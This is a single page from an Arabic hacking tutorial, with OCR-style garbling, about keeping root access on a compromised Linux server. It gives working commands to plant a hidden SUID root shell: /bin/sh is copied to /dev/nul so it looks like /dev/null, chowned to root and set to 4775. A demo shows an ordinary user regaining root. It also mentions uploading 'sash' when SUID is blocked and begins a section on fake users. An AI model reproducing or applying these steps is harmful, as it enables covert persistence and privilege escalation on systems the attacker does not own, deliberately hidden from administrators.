Page 255 - بسم الله الرحمن الرحيم

‫في حاجهه ‪..‬انت لو كتبت ‪ exit‬حتطلع بره السيرفير ده و تصعود للشيل بتاعك و عشان تصرجهع تصاني يلزمك‬
‫نفس الخطوات‬

‫و في هذه الفتره قد يحتمل ان يكون الدمين قد قا‪.‬م بتغيير الباسورد او ركب باتصش للديمون المصاب او قا‪.‬م‬
‫بعمل اب جهريد له‬

‫مما يؤدي ان تصفشل الكسبلويت في عملها ‪..‬و الحل ؟؟‬
‫بس احنا دلوقتي رووت و ممكن نعمل اللي في نفسنا ‪...‬اذن نركب باك دوور يسمح لنا بالعوده بعد ذلك في‬

‫اي وقت ‪..‬‬
‫احسن باك دور هوه الهاك اتصاك ‪..‬صعب ان النورتصون يكشفه و ممك‪...‬اه =| =|‬

‫ايه الكل‪.‬م ده ياد يا ايسر ؟؟؟؟‬
‫هاك اتصاك =| !!!!!!‬
‫اسف نسيت ‪(= ...‬‬

‫طبعا الباك دورز في موضوعي ده تصختلف تصماما عن الكل‪.‬م الفاضي ده و ل مؤاختذه‬
‫طبعا الباك دورز دي عايزالها موضوع لواحده ان شاء احطه لكم قريبا ‪ ..‬لكن انا ساذكر لكم الساسيات‬

‫فقط ‪..‬‬
‫‪ -1‬ازاي تصعمل ‪sushi‬؟؟؟؟‬
‫لكي تصقو‪.‬م بعمل ‪ sushi‬او ‪ suid shell‬يلزمك ان تصقو‪.‬م بنسخ ال ‪bin/sh/‬‬
‫الى مكان ختفي و نقو‪.‬م باعطاءه صلحيات ال ‪ suid‬كالتالي ‪:‬‬
‫‪sh-2.03$ cp /bin/sh /dev/nul‬‬

‫هههههه‬
‫في اغلب الحيان الدمين ل ينظر داختل الدايركتوري ‪ .. dev‬و لو حصل و نظر دختله فانه لن يشعر بشيء‬

‫غريب لن فيه ملف اساسا اسمه ‪null‬‬
‫=‪ D‬ل ده احنا عيال جهدعان اوي =‪D‬‬

‫‪sh-2.03$ cd /dev‬‬
‫‪sh-2.03$ chown root nul‬‬

‫نعطي الشيل الصلحيات اللي احنا عايزينها ‪-:‬‬
‫‪sh-2.03$ chmod 4775 nul‬‬

‫‪ 4775‬معناها ال ‪ suid‬اللي احنا عايزينها ‪.‬‬
‫ختلي بالك ان المر ‪ chmod +s nul‬ممكن ميشتغلش في بعض النظمه ‪ ..‬ختليك مع المر الول بيعمل‬

‫في كله ‪..‬‬

‫كده ختلصنا مهمتنا ‪..‬تصعالى نطلع بره كده و نشوف‬
‫‪sh-2.03$ exit‬‬

‫بعد ‪ 80‬يو‪.‬م لو رجهعنا =‪ D‬تصعال نشوف كده اللي حيحصل ‪:‬‬
‫‪sh-2.03$ whoami‬‬
‫‪luser‬‬

‫‪sh-2.03$ /dev/nul‬‬
‫‪sh-2.03$ whoami‬‬

‫‪root‬‬

‫احنا سوبر يوزرز الن بكل سهوله =(‬
‫فيه مشكله ‪ ..‬في كثير من الشيلز تصمنع اعطاء صلحيات ال ‪ suid‬يعني مينفعش نحصل على ال ‪sushi‬‬

‫و في هذه الحاله يلزمنا ان نرفع للسيرفير المخترق شيل ختاص تصاني اسمه ‪ sash‬و هو اختتصار ل ‪A‬‬
‫‪stand-alone shell‬‬
‫ذو اوامر ختاصه به ‪...‬‬

‫و هو يسمح باعطاء صلحيات ال ‪ suid‬ل ‪ bin/sh/‬اذن نقدر نعمل الن ال ‪sushi‬‬

‫‪ -2‬كيف نضيف يوزرز مزورين ؟؟‬

‫‪255‬‬